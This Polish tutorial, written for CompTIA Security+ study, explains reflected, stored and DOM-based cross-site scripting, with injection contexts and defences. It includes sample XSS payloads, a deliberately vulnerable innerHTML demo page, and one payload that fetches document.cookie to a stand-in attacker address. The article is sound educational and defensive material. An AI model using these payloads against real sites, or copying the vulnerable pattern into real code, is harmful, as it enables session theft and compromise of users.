Artykuł jest częścią serii opracowań zagadnień obowiązujących na egzaminie CompTIA Security+. Jeśli nie chcesz przegapić kolejnych materiałów, to zachęcam do zapisania się na mój newsletter:
Artykuł jest również dostępny w wersji PDF.
- Wprowadzenie
- Reflected (non-persistent)
- Persistent (stored)
- DOM-based XSS (DOM XSS)
- Przykładowe konteksty
- Obrona
- Materiały źródłowe
Wprowadzenie
Termin cross-site scripting odnosi się generalnie do ataków polegających na wstrzyknięciu (ang. injection) złośliwego skryptu w strukturę zaufanej strony internetowej. Atak XSS następuje w momencie gdy atakujący przemyca złośliwy kod (w formie skryptu wykonywanego przez przeglądarkę internetową), w taki sposób, żeby wykonał się on w kontekście nic nie podejrzewającego użytkownika. Jest to możliwe za sprawą podatności aplikacji webowych, które w żaden sposób nie weryfikują, jakie dane zostały wprowadzone przez użytkownika, przed wyświetleniem ich na stronie.
Weźmy na tapet bardzo prosty przykład: strona internetowa z formularzem wyszukiwania zawartości w postaci prostego pola tekstowego.
Kiedy użytkownik wpisuje podaną frazę, bardzo często jest ona później wyświetlana na stronie z wynikami wyszukiwania, np. Wyniki dla zapytania: . Wyobraźmy sobie teraz, że jakiś dowcipniś postanowił wpisać w polu tekstowym wyszukiwarki fragment kodu HTML: <h1>Chcę być wielki!</h1>
i na stronie z wynikami pojawił się tekst Chcę być wielki! w rozmiarze nagłówka i bez widocznych tagów <h1>
. Oznacza to, że podany tekst zawierający tagi HTML nie został odpowiednio zakodowany (ang. encoded) przed wyświetleniem, powodując, że przeglądarka zinterpretowała go jako pełnoprawny kod HTML.
Jest to ogromny znak ostrzegawczy, że strona jest podatna na ataki XSS. Teraz wystarczy sprawdzić, czy damy radę wstrzyknąć w ten sposób kod JavaScript (JS). Jeśli po wpisaniu <script>alert('XSS');</script>
jako frazy wyszukiwania, na stronie wyświetli się okno z komunikatem o treści XSS, wiemy już na pewno, że witryna jest podatna na atak reflected XSS (więcej na ten temat powiemy sobie za chwilę).
Powyższy przykład obrazuje na czym polegają ataki typu cross-site scripting. Dzisiaj są związane głównie z językiem JS (JavaScript), który jest szeroko wykorzystywany w nowoczesnych aplikacjach webowych, ale nie ograniczają się tylko do niego (choć większość pozostałych technologii jest już przestarzała i nie działa w najnowszych przeglądarkach, np. ActiveX; VBScript, Flash).
W pierwotnym znaczeniu ataki XSS polegały na tym, że na skompromitowanej stronie umieszczano specjalnie spreparowany link do innej, docelowej strony witryny. Ten link był zbudowany w taki sposób, że po kliknięciu przez ofiarę na stronie docelowej wykonywał się dołączony złośliwy skrypt. Stąd właśnie wzięła się nazwa cross-site, która w dosłownym tłumaczeniu oznacza między stronami. Dzisiejsza definicja obejmuje znacznie szerszy zakres technik, które są klasyfikowane jako XSS.
Podatności XSS są bardzo poważnym zagrożeniem, ponieważ umożliwiają wykonanie niepożądanej akcji w kontekście zalogowanego użytkownika (horizontal privilege escalation), a także mogą doprowadzić do kradzieży chronionych danych tegoż użytkownika, takich jak ciasteczka (np. identyfikator sesji; ciasteczko uwierzytelniające), czy też inne dane dostępne jedynie po zalogowaniu (jeśli podatność występuje na stronie z chronionymi danymi). Hipotetycznie możliwe jest wszystko na co pozwala język JS w przeglądarkach. Wygląda na to, że niewykluczone jest nawet skanowanie portów: Exposing Intranets with reliable Browser-based Port scanning :).
Reflected (non-persistent)
Ta technika została zobrazowana na powyższym przykładzie z formularzem wyszukiwania. Zauważ, że podany w polu tekstowym tekst/skrypt nie został nigdzie zapisany na serwerze (jest nietrwały), a jedynie pojawił się na stronie z wynikami wyszukiwania. Można powiedzieć, że został tam jedynie odbity (ang. reflected) dla tego konkretnego zapytania i nie pojawi się dla innych użytkowników korzystających z wyszukiwarki – stąd nazwa.
Tego typu ataki przeważnie odbywają się poprzez wysłanie atakowanemu użytkownikowi spreparowanego adresu URL z dołączonym złośliwym skryptem. Bardzo często formularze wyszukiwania wykonują żądanie HTTP GET, dołączając wyszukiwaną frazę jako parametr URL (tzw. query string), np. https://example.pl/phones?search=iphone
(dla frazy: iphone). Dzięki temu możemy udostępnić innym osobom wyniki wyszukiwania. Możemy też spróbować dołączyć skrypt JS: https://example.pl/phones?search=<script>alert('XSS')</script>
i jeśli strona jest podatna na atak, to użytkownikowi, który kliknie na ten link wyświetli się okno z komunikatem XSS. Teraz wystarczy dodać do adresu ciekawszy payload, czyli np. skrypt wysyłający nam zawartość ciasteczek i podrzucić spreparowany link ofierze.
Persistent (stored)
Tego typu atak różni się od poprzedniego głównie zasięgiem. W tym przypadku złośliwy skrypt jest trwale zapisywany na serwerze, na przykład w bazie danych (stąd nazwa persistent/stored), a następnie serwowany wszystkim użytkownikom, którzy odwiedzą stronę zasilaną zatrutymi danymi.
Sztandarowym przykładem jest system komentarzy na stronie internetowej. Kiedy jest on podatny na ataki XSS, to komentarz ze złośliwym kodem JS jest przeważnie zapisywany w bazie danych, żeby mógł być później wyświetlony innym użytkownikom przeglądającym daną stronę. Jeśli aplikacja webowa nie sprawdza w żaden sposób treści podanych przez użytkownika i wyświetla je bez żadnej weryfikacji w widoku (na stronie), to nieprzyjazny skrypt z dużym prawdopodobieństwem wykona się dla każdego, kto wyświetli zaatakowaną stronę w swojej przeglądarce. No chyba, że ktoś ma u siebie wyłączoną obsługę JavaScript, ale to raczej rzadkość.
Problem jest spotęgowany faktem, że w dobie mediów społecznościowych i współdzielenia informacji, linki do stron podatnych na atak persistent XSS mogą bardzo szybko się rozprzestrzenić wśród wielu nieświadomych użytkowników.
DOM-based XSS (DOM XSS)
Cechą charakterystyczną wcześniej opisanych ataków (reflected oraz stored) jest komunikacja z serwerem. W obu przypadkach odpowiedź (ang. response) HTTP(S) przychodząca z serwera jest już zatruta złośliwą zawartością (przeważnie skryptem JS), która musiała wcześniej zostać wysłana na ten serwer. Na przykład za sprawą zmodyfikowanego adresu URL, którego kliknięcie powoduje wysłanie żądania (ang. request) GET ze złośliwym skryptem przekazanym w parametrze (reflected XSS). To samo tyczy się żądań typu POST zawierających złośliwy kod w treści komentarza, który zostanie zapisany w bazie danych, a następnie wyświetlony innym użytkownikom (stored XSS).
Z takimi atakami wiąże się pewien szkopuł. Ponieważ złośliwy kod jest przesyłany w żądaniu HTTP(S), może zostać wykryty przez WAF (Web Application Firewall), który skanuje przychodzący ruch sieciowy (HTTP) i automatycznie odrzuci takie żądanie. W takim przypadku, nawet jeśli witryna jest podatna na atak XSS, będzie bardzo ciężko to wykorzystać (dlatego WAF-y bywają zmorą bug hunterów ;)).
Okazuje się, że istnieje trzecia grupa ataków XSS, która charakteryzuje się tym, że ich przeprowadzenie nie wymaga komunikacji z serwerem. Mowa o atakach DOM-based XSS, polegających na zmodyfikowaniu struktury DOM (Document Object Model) witryny internetowej z korzyścią dla atakującego. W odróżnieniu od pozostałych ataków, odpowiedź z serwera nie jest w żaden sposób zmodyfikowana przez atakującego, a wstrzyknięcie złośliwego kodu odbywa się w wyniku wymuszonej modyfikacji struktury strony internetowej (DOM), która została już załadowana do przeglądarki ofiary.
Dzisiejsze strony internetowe bardzo często wykonują dodatkowe operacje już po stronie klienta (ang. client-side), zaraz po tym jak przeglądarka wyświetli zawartość otrzymaną z serwera w odpowiedzi HTTP(S). Przeważnie są to skrypty JavaScript, które odświeżają wybrane elementy strony po załadowaniu podstawowej struktury w przeglądarce. Dobrym przykładem są skrypty modyfikujące strukturę DOM w określony sposób, np. generując kod HTML, który jest dodawany do strony dynamicznie. Jeśli atakującemu uda się wykorzystać mechanizm modyfikujący dynamicznie strukturę DOM do wtrzyknięcia swojego kodu, mamy do czynienia z atakiem DOM XSS.
Żeby lepiej zrozumieć ten rodzaj ataku, przeanalizujmy następujący przykład. Załóżmy, że na witrynie internetowej mamy bardzo prosty formularz wyszukiwania oraz fragment kodu JS, który pobiera z adresu URL wartość parametru z wyszukiwaną frazą:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>DOM-based XSS example</title>
</head>
<body>
<!-- Formularz wyszukiwania. -->
<form id="search-form" method="get">
<label>Search for: <input id="search-text" type="text" name="query" value=""></label>
<input type="submit" value="Submit">
</form>
<!-- Akapit zawierający wyszukiwaną frazę, uzupełniany dynamicznie przez kod JS. -->
<p id="search-log"></p>
<!-- Kod JS modyfikujący strukturę dokumentu DOM po otrzymaniu przez przeglądarkę odpowiedzi z serwera. -->
<script>
// Pobierz wartość parametru "query" z aktualnego adresu URL.
let params = (new URL(document.location)).searchParams;
let query = params.get("query");
// Pobierz *uchwyt* do elementu DOM: <p id="search-log">.
let searchLog = document.getElementById('search-log');
// Wyświetl frazę wyszukiwania wpisaną przez użytkownika na stronie.
// Ten fragment jest podatny na atak DOM XSS, ponieważ treść podana przez użytkownika
// jest dodawana bezpośrednio do struktury DOM za sprawą funkcji "innerHTML" bez żadnej weryfikacji.
if (query) {
searchLog.innerHTML = "You searched for: " + query;
}
</script>
</body>
</html>
Powyższy fragment kodu jest pełnoprawnym dokumentem HTML5, więc może być przetestowany poprzez umieszczenie go w lokalnym pliku tekstowym o rozszerzeniu *.html
, który zostanie wczytany do przeglądarki. Zasada działania jest bardzo prosta: użytkownik wpisuje w polu tekstowym formularza dowolną treść, a następnie klika przycisk Submit. Spowoduje to dodanie frazy wyszukiwania do adresu URL: ?query=FRAZA_WYSZUKIWANIA
(teoretycznie powinno to również skutkować wysłaniem zapytania HTTP(S) GET do serwera, ale ponieważ plik jest otwarty lokalnie, nastąpi jedynie przeładowanie strony).
No dobrze, ale przecież mówiliśmy wcześniej, że DOM-based XSS jest atakiem, który odbywa się po stronie klienta – skąd więc wzięło się to żądanie HTTP(S)? Zwróćmy uwagę na to, że w tym przypadku zawartość adresu URL jest przetwarzana przez kod JavaScript już po stronie klienta, niezależnie od tego jaka odpowiedź przyszła z serwera.
Spróbujmy teraz wykorzystać podatność przedstawioną w powyższym przykładzie. Kiedy wpiszemy tekst <h1>Hello</h1>
i wciśniemy przycisk, poniżej formularza pojawi się tekst Hello wielkości nagłówka. Sprawdźmy teraz <script>alert('XSS');</script>
… i nic się nie stało. Czyżby wstrzyknięcie kodu się nie udało? Cóż, teoretycznie znacznik <script>
razem z kodem został dodany do struktury DOM, ale sam kod JS się nie wykonał, ponieważ strona już się załadowała w przeglądarce. Spróbujmy zatem inaczej: <img src onerror="alert('XSS')">
. Bingo! Tym razem ujrzymy okno z komunikatem XSS.
Stało się tak, ponieważ tym razem zamiast samego kodu JS, dodaliśmy tag <img>
(służący do wyświetlania plików graficznych) z pustym źródłem (atrybut src
) oraz kodem JS, który ma się wykonać w chwili gdy wystąpi błąd podczas wyświetlania grafiki (atrybut onerror
). Oczywiście błąd wystąpił, ponieważ nie podaliśmy prawidłowego źródła pliku graficznego, co spowodowało wykonanie podanego kodu JS: alert('XSS')
. Spreparowany URL z przykładowym tagiem <img>
wyglądałby następująco: https://target.com?query=%3Cimg%20src%20onerror%3D%22alert('XSS')%22%3E
.
Udało nam się wyświetlić komunikat, więc spróbujmy teraz użyć ciekawszego ładunku (ang. payload): <img src onerror="fetch('http://127.0.0.1?cookie='+document.cookie)">
. Jest to bardzo krótki kod, który odczytuje zawartość ciasteczek (ang. cookies) zapisanych przez przeglądarkę ofiary i próbuje te dane przesłać na adres http://127.0.0.1
za pomocą żądania typu HTTP GET. Zakładając, że jest to adres serwera kontrolowanego przez atakującego, po wykonaniu tego skryptu, w logach wspomnianego serwera HTTP pojawi się nowy rekord z adresem URL zawierającym wykradzione ciasteczka. W przypadku serwera Microsoft IIS (Internet Information Service), taki rekord może wyglądać następująco:
2023-01-04 13:54:55 127.0.0.1 GET / cookie=CIASTECZKA-OFIARY 80 - 127.0.0.1 Mozilla/5.0 (Windows+NT+10.0;+Win64;+x64;+rv:108.0)+Gecko/20100101+Firefox/108.0 - 200 0 0 0
Zauważ, że nie jest istotne czy zasób wskazany przez URL rzeczywiście istnieje. Nie ma znaczenia też, że przeglądarka ofiary zablokuje odpowiedź pochodzącą z obcej domeny za sprawą mechanizmu Same Origin Policy. Liczy się tylko to, że żądanie z odpowiednim parametrem zostało zarejestrowane przez serwer kontrolowany przez atakującego.
Przykładowe konteksty
Jak widać na powyższym przykładzie, ataki XSS mogą przybierać różne formy. Rodzaj ataku zależy od miejsca gdzie konkretnie występuje podatność XSS, czyli od tzw. kontekstu (ang. context) oraz od pomysłowości atakującego.
Przykładowe miejsca, gdzie może wystąpić podatność i co za tym idzie, gdzie można wstrzyknąć złośliwy kod, zostały przedstawione poniżej. Dla uproszczenia przyjmijmy, że tekst USER_INPUT
wskazuje miejsce, do którego trafia niezweryfikowana treść przekazana przez użytkownika, więc to tutaj umieszczamy nasz kod:
- Proste wstrzyknięcie do zawartości znacznika HTML:
<div>USER_INPUT</div>
. Przykładowy payload:<img src onerror="alert('XSS')">
. - Wstrzyknięcie do atrybutu znacznika HTML:
<div class="USER_INPUT"></div>
. Przykładowy payload:"><script>alert('XSS')</script>
. W tym przypadku najpierw domykamy cudzysłów i tag<div>
, a następnie dodajemy znacznik<script>
z kodem JS. - Wstrzyknięcie do atrybutu
href
:<a href="USER_INPUT">Link</a>
. Przykładowy payload:javascript:alert('XSS')
. Przykład jest o tyle ciekawy, że ten atrybut przyjmuje jako wartość jedynie adres URL, ale można tutaj skorzystać z pseudo-protokołu javascript. Po kliknięciu w link zdefiniowany na stronie jako<a href="javascript:alert('XSS')">Link</a>
, wykona się kod JS wyświetlający okienko dialogowe z treścią XSS. - Wstrzyknięcie do łańcucha znaków w kodzie JS:
<script>var username = "USER_INPUT";</script>
. Przykładowy payload:";alert('XSS');//
– w tym przypadku uciekamy z łańcucha znaków poprzez domknięcie cudzysłowu. Dodajemy naszą instrukcję i upewniamy się, że reszta kodu w tej konkretnej linii jest już za komentarzem (znak//
) – dzięki temu pierwotny cudzysłów zamykający nie spowoduje błędu związanego z niepoprawną składnią języka JS.- Inną możliwością jest ucieczka ze znacznika
<script>
i wstawienie drugiego z naszym kodem:</script><script>alert('XSS');</script>
. Tutaj co prawda wystąpi błąd skłądniowy w ramach pierwszego tagu<script>
za sprawą niedomkniętego cudzysłowu, ale nie ma to żadnego wpływu na pozostałe znaczniki<script>
, dlatego kod z naszego wykona się normalnie.
- Inną możliwością jest ucieczka ze znacznika
- W przypadku typowych podatności DOM XSS, które występują przede wszystkim wskutek nieprzemyślanego użytkowania języka JavaScript, należy uważać na funkcje oraz metody/właściwości obiektów JS, które przyjmują na wejściu kod HTML/XML/JS czy też adres URL. Na przykład:
eval()
– uznawana za jedną z najbardziej niebezpiecznych funkcji z tego względu, że łańcuch znaków (ang. string) przekazany w argumencie traktuje jak kod JS i go wykonuje. Jeśli więc przekazujemy do tej funkcji dane, nad którymi nie mamy pełnej kontroli (np. pochodzące bezpośrednio od użytkowników) to sami prosimy się o kłopoty :). Generalnie, zaleca się unikania używania tej funkcji.Element.innerHTML
orazElement.outerHTML
– atrybuty/właściwości (ang. properties) obiektu klasyElement
(elementem jest przeważnie fragment drzewa DOM, np. może nim być znacznik<div>
), które pozwalają na modyfikację struktury HTML zarówno wewnątrz danego elementu (inner) jak i samego elementu (outer).Element.insertAdjacentHTML()
– metoda obiektu klasyElement
, która parsuje przekazany w argumencie tekst jako HTML lub XML i umieszcza tak utworzony węzeł (ang. node) w drzewie DOM na określonej pozycji. Mówiąc prościej, buduje fragment kodu HTML i umieszcza go na stronie w określonym miejscu.document.write()
– w prostych słowach: wpisuje dowolny tekst (włączając kod HTML) do aktualnie otwartego dokumentu (strony).document.location
– właściwość dokumentu, która przechowuje informację o aktualnym adresie URL, ale też pozwala na przypisanie nowego adresu URL. Kiedy to nastąpi, przeglądarka załaduje stronę dostępną pod podanym adresem. W tym przypadku można oczywiście skorzystać z wspomnianego wcześniej pseudo-protokołu:document.location = "javascript:alert('XSS')";
.
- Zaleca się również na zwracanie uwagi na edytory typu rich text editor (WYSWIG) dostępne na stronach internetowych, które pozwalają formatowanie tekstu oraz często zezwalają na umieszczanie własnego kodu HTML w tworzonej treści. Popularne rozwiązania typu TinyMCE lub RichTextEditor powinny być odporne na ataki XSS, ale może zdarzyć się, że trafimy na stronę internetowej, na której programiści postanowili sami zbudować taki edytor od podstaw. W takim przypadku niewykluczone jest, że nie przewidzieli jakiegoś nietypowego scenariusza, który zostanie wykorzystany przez atakującego.
- Witryny internetowe pozwalają czasami na upload plików, które są później dostępne do ściągnięcia dla innych użytkowników. Jeśli serwer akceptuje wszystkie pliki bez weryfikacji rozszerzenia i typu, to nic nie stoi na przeszkodzie, żeby atakujący spreparował plik HTML zawierający złośliwy kod JS i umieścił go na serwerze. Każdy kto później ściągnie ten plik stanie się ofiarą ataku XSS, który można sklasyfikować w tym przypadku jako persistent.
Zamykając tę listę przykładów warto jeszcze wspomnieć, że ataki XSS nie muszą dotyczyć jedynie dokumentów HTML. Teoretycznie kod JS można wstrzyknąć zarówno do dokumentu XML (*.xml
). Kluczem jest tutaj wartość atrybutu xmlns
, która powoduje, że dokument XML jest traktowany przez przeglądarkę jako XHTML:
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml">
<script>alert('XSS');</script>
</html>
Innym przykładem może być format SVG (Scalable Vector Graphics; *.svg
), również oparty na XML, wykorzystywany do przechowywania informacji o grafice wektorowej:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS');</script>
</svg>
Tworząc powyższą listę w dużej mierze posiłkowałem się rozdziałem Podatność Cross-Site Scripting autorstwa Michała Bentkowskiego z książki Bezpieczeństwo Aplikacji Webowych (którą notabene serdecznie polecam).
Obrona
Zacznijmy od tego w jaki sposób możemy chronić się przed atakami XSS z punktu widzenia użytkownika:
- Nie klikajmy w linki niewiadomego pochodzenia.
- Dbajmy o regularną aktualizację wersji przeglądarek, z których korzystamy. Pamiętajmy, że to przeglądarka odpowiada za wyświetlenie strony internetowej i wykonanie jej kodu. Nawet jeśli aplikacja webowa będzie miała zabezpieczenia przeciwko XSS, to w dużej mierze egzekwowanie tych zabezpieczeń zależy od przeglądarki (np. poprzez prawidłową obsługę odpowiednich nagłówków HTTP).
- Instalujmy rozszerzenia do przeglądarek jedynie z zaufanych źródeł.
- Jest to co prawda rozwiązanie ekstremalne, szczególnie w dzisiejszych czasach, ale możemy całkowicie wyłączyć obsługę JavaScript w naszej przeglądarce. Wtedy żaden złośliwy kod JS się nie wykona, ale przy okazji przestanie nam działać 3/4 dzisiejszego Internetu ;).
Co możemy zrobić jako twórcy aplikacji webowych:
- Nigdy nie ufajmy danym wysyłanym przez użytkowników! Wszystkie informacje jakie przychodzą od użytkownika powinny zostać zweryfikowane oraz odpowiednio zakodowane (ang. encoded), szczególnie w przypadku znaków o specjalnym znaczeniu, takich jak np. znaczniki HTML. Chodzi o to, że jeśli użytkownik wpisze gdzieś w polu tekstowym fragment kodu HTML, który zostanie później wyświetlony na stronie, to nie powinien być on traktowany jako kod HTML, a jako zwykły tekst – temu właśnie służy kodowanie. Przykładowo, tekst
<script>
powinien zostać zamieniony na<script>
przed wyświetleniem na stronie (<
jest encją HTML przedstawiającą lewy nawias trójkątny, a>
prawy – choć gwoli ścisłości nazwy tych encji wzięły się od less than oraz greater than :)). - Kiedy już zezwalamy użytkownikowi na wpisywanie kodu HTML, który ma zostać sparsowany (np. w przypadku rozbudowanych edytorów tekstu), korzystajmy ze sprawdzonych rozwiązań i bibliotek. Jeśli jednak już zdecydujemy się na napisanie własnego edytora, to skorzystajmy przynajmniej z dostępnych bibliotek do czyszczenia (ang. sanitize) kodu, takich jak HtmlSanitizer czy DOMPurify.
- Unikajmy funkcji/metod/właściwości JavaScript, które są uznawane za potencjalnie niebezpieczne (przykłady w sekcji Przykładowe konteksty).
- Kiedy zezwalamy użytkownikowi na podanie adresu URL, który może być później w ten czy inny sposób odwiedzony, upewnijmy się, że podany protokół to HTTP(S), a nie wspomniany wcześniej pseudo-protokół
javascript
. - Kiedy zezwalamy użytkownikom na upload plików, dobrym rozwiązaniem jest utworzenie dedykowanej domeny, która nie ma powiązania z domeną główną (ma zupełnie inną nazwę). Dzięki temu, nawet jeśli atakującemu uda się jakoś ominąć nasze zabezpieczenia i wgra złośliwy plik na serwer, to dołączony skrypt nie będzie miał dostępu do wspomnianej domeny głównej.
- Korzystajmy z możliwości nagłówka HTTP Content Security Policy (CSP) (tekst z odnośnika jest już wiekowy, ale opisana tam idea mechanizmu jest dalej aktualna). W dużym skrócie: CSP pozwala na kontrolowanie tego, które elementy strony mogą być wyświetlone, a które zablokowane. Dba o to przeglądarka na podstawie instrukcji zawartych w tym właśnie nagłówku, otrzymanym w odpowiedzi HTTP z serwera. Przykładowo, możliwe jest zablokowanie kodu JS umieszczonego bezpośrednio w kodzie HTML (inline), a zezwolenie na wykonanie kodu jedynie z zewnętrznego pliku znajdującego się w zaufanej domenie.
Materiały źródłowe
Warto wiedzieć, że powstało już mnóstwo opracowań opisujących dokładnie ataki XSS, zarówno od strony teoretycznej, jak i praktycznej. Szczegółowa wiedza z zakresu XSS nie jest wprawdzie wymagana na egzaminie CompTIA Security+, ale na pewno warto ją przyswoić jeśli chcesz dalej rozwijać się w obszarze testów penetracyjnych aplikacji webowych.
- Cross-site Scripting – SY0-601 CompTIA Security+ (Professor Messer).
- Bezpieczeństwo Aplikacji Webowych (Sekurak) – rozdział Podatność Cross-Site Scripting (XSS), którego autorem jest Michał Bentkowski.
- OWASP: Cross Site Scripting (XSS).
- Web Security Academy: Cross-site scripting – dokładne omówienie tematu wraz z możliwością przećwiczenia wykorzystania podatności dzięki dostępnym za darmo laboratoriom.